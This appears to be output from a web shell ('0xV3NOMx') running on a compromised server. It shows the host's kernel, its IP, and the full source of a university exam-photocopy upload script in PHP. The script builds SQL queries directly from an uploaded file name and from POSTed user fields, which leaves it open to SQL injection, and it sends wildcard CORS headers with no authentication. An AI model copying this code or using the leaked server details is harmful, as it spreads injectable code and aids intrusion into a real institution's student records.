0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.219.23.150


Current Path : /var/www/html/univadmin/
Upload File :
Current File : /var/www/html/univadmin/upload_pc.php

<?php
require_once("/var/www/html/aws/aws-autoloader.php");
use Aws\S3\S3Client;

ini_set('max_input_time', 300);
ini_set('max_execution_time', 300);
include ("database.php");
$databse = "logisys3_comexam";

// $conn = new  mysqli(SERVERNAME,USERNAME,PASSWORD,$databse);
// if(!$conn) 
// {        
//     die("Connection failed: " . mysqli_connect_error());
// }

$get_data = "select * from dbname where ifnull(fdeleted,'') <> 'T'";

$result1=$conn->query($get_data); 

if (mysqli_num_rows($result1) > 0) 
{
    // output data of each row
    $dbnames = array();
    while($row = mysqli_fetch_assoc($result1)) 
    {
        $dbnames[$row['FUNIVCODE']] = $row['FDBNAME'];
        $univname = $row['FUNIVNAME'];
        $ffolder = $row['FFOLDER'];
    }
}

mysqli_close($conn);

// var_dump($_POST['univcode']);

$user = json_decode($_POST['univcode'],true);

$univcode = $user['fcuruniv'];

$dbname = $dbnames[$univcode];

$pconn = new mysqli($servername, $username, $password, $dbname);

header("Access-Control-Allow-Origin: *");
header('Content-Type: multipart/form-data');
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With, x-auth-origin, x-auth-token, x-auth-type");
$ds = DIRECTORY_SEPARATOR;
$date = date("dmYhis");
$file_resp = "";

if($_SERVER['REQUEST_METHOD'] == 'OPTIONS') { 
    die();
}
// var_dump($_FILES);
if (0 < $_FILES['fileField']['error']) {
    http_response_code(409);
    echo 'Error: ' . $_FILES['file']['error'] . '<br>';
    $file_resp = "Failed to upload file!";
} else {

    $name = pathinfo($_FILES['fileField']['name'], PATHINFO_FILENAME);

    $file_arr = explode('-', $name);
    $regcode = $file_arr[0].'-'.$file_arr[1].'-'.$file_arr[2];
   
    
    $get_data = "select fregno,fqpcode, d.fmeyear, d.fmeexamtyp, r.fexamno  from res_stud r 
    inner join degree d on r.fdegree = d.fdegree and d.fexamno = r.fexamno 
    where REPLACE(fregcode, '-', '') =  REPLACE('$regcode', '-', '') 
    and fcorrtype in('PC','XR') and ifnull(r.fpaymentstatus,'') = 'success'";

    $result1=$pconn->query($get_data); 

    if (mysqli_num_rows($result1) > 0) 
    {
        $row = mysqli_fetch_assoc($result1);
        
        $filename = $univcode.'_'.$row['fmeyear'].'_'.$row['fmeexamtyp'].'_'.$row['fregno'].'_'.$row['fqpcode'].'.pdf';
    
        $path = realpath(__DIR__) . $ds . 'photocopy' . $ds . $filename;

        if(move_uploaded_file($_FILES['fileField']['tmp_name'], $path)){

            $s3 = S3Client::factory(
                array(
                    'credentials' => array(
                        'key' => IAM_KEY,
                        'secret' => IAM_SECRET
                    ),
                    'version' => "latest",
                    'region'  => 'ap-south-1'
                )
            );

            $test = $s3->putObject(['Bucket' => "university-photocopy", 'Key' => $filename, 'SourceFile' => $path]);
            $regno =  $row['fregno'];
            // $regno =  $row['fmeyear'];
            // $regno =  $row['fregno'];
            $update = "update res_stud set fxrpath = '{$filename}', fpcuser = '{$user['fuserid']}', fpcdate = now()
            where REPLACE(fregcode, '-', '') =  REPLACE('$regcode', '-', '')
            and fcorrtype in('PC','XR')
            and ifnull(fpaymentstatus,'') = 'success'
            and fregno = '{$regno}'";
            $result = $pconn->query($update);
            
        }
    }
}

mysqli_close($pconn);
echo $filename;